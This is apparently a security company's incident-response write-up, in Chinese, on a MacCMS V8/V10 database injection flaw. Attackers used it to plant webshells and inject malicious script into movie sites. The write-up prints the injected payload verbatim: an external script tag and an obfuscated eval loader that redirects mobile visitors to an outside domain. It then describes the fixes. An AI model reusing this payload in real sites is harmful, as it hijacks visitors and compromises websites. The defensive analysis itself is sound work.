2020年剛開始,蘋果CMS被爆出資料庫代碼執行漏洞,大量的電影網站被挂馬,尤其電影的頁面被篡改植入了惡意代碼,資料庫中的VOD表裡的d_name被全部修改,導緻網站打開後直接跳轉到S站或者彈窗廣告,目前該maccms漏洞受影響的蘋果系統版本是V8,V10,很多客戶網站被反複篡改,很無奈,通過朋友介紹找到我們SINE安全尋求技術上支援,防止網站被挂馬。根據客戶的反應,伺服器采用的是linux centos系統,蘋果CMS版本是最新的V10版本,我們立即成立網站安全應急響應處理,幫助客戶解決網站被攻擊的問題。
首先很多站長以為更新了蘋果CMS官方最新的漏洞更新檔就沒問題了,通過我們SINE安全技術對更新檔的代碼安全分析發現,該漏洞更新檔對目前的資料庫代碼執行漏洞是沒有任何效果的,于事無補,網站還會繼續被攻擊。
我們來看下客戶網站目前發生的挂馬問題,打開網站首頁以及各個電影位址都會被插入挂馬代碼,如下圖所示:
打包壓縮了一份網站源代碼,以及nginx網站日志檔案,我們SINE安全工程師在根目錄下發現被上傳了網站webshell木馬檔案,通過網站日志溯源追蹤我們檢視到通路這個PHP腳本木馬檔案的是一個南韓的IP,具體的代碼如下圖:
代碼做了加密處理,我們SINE安全對其解密發現該代碼的功能可以對網站進行上傳,下載下傳,修改代碼,操作資料庫等功能,屬于PHP大馬的範疇,也叫webshell木馬檔案,我們又對蘋果CMS的源代碼進行了人工安全審計,發現index.php代碼對搜尋子產品上做的一些惡意代碼過濾檢查存在漏洞,可導緻攻擊者繞過安全過濾,直接将SQL插入代碼執行到資料庫當中去。
我們對資料庫進行安全檢測發現,在VOD表的d_name被批量植入了挂馬代碼:
<script src=https://www.kilin.xyz/1.js>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(newPRegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('4.5(\'<61="3/2" 7="//0.b.c.d/8.0"><\\/9\'+\'a>\');',14,14,'js|type|javascript|text|document|write|script|src|20487493|scr|ipt|users|51|la'.split('|'),0,{}));var LOUMtBZeW=navigator["userAgent"]["toLowerCase"]()["match"](/(ipod|iphone|ipad|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null;if(LOUMtBZeW){setTimeout('window.kk="https://m.qiche-hangjia.com:168/ua80666/"',500)}
這手法很專業,不是一般的攻擊者所為,針對手機端做了跳轉以及隐藏嵌入,讓網站營運者根本無法察覺發現,還判斷了cookies來路,達到條件才能觸發攻擊者植入的廣告代碼。繼續安全分析與追蹤,發現了攻擊者的手法,POST送出到/index.php?m=vod-search,POST内容是加密的這裡就不友善發出了,屬于漏洞攻擊了,可能會給其他使用蘋果CMS系統的網站造成攻擊,我們SINE安全技術對POST攻擊代碼進行了解密分析,發現确實是繞過了蘋果官方V8,V10系統的代碼安全過濾,直接将挂馬代碼插入到了資料庫裡了。
問題根源找到了,接下來我們對客戶的蘋果CMS漏洞進行修複,對POST送出過來的參數進行嚴格的過濾與轉義,對vod-search含有的惡意字元進行強制轉換,對惡意代碼進行安全攔截,防止傳入到後端進行資料庫裡的代碼執行。對網站代碼裡存在的木馬後門進行了全面的人工審計與檢查,共計發現5個後門,其餘的在緩存目錄當中,跟程式代碼混淆在一起,也都删除了,對網站的背景位址進行了更改,之前背景使用的位址被攻擊者掌握,對管理者的賬号密碼進行了加強,至此蘋果CMS網站被挂馬的問題才得以徹底解決,如果您的maccms也被一直挂馬,自己懂代碼的話可以對POST到index.php的資料進行安全攔截與檢查,防止惡意代碼的插入,如果不是太懂的話,建議找專業的網站安全公司來處了解決。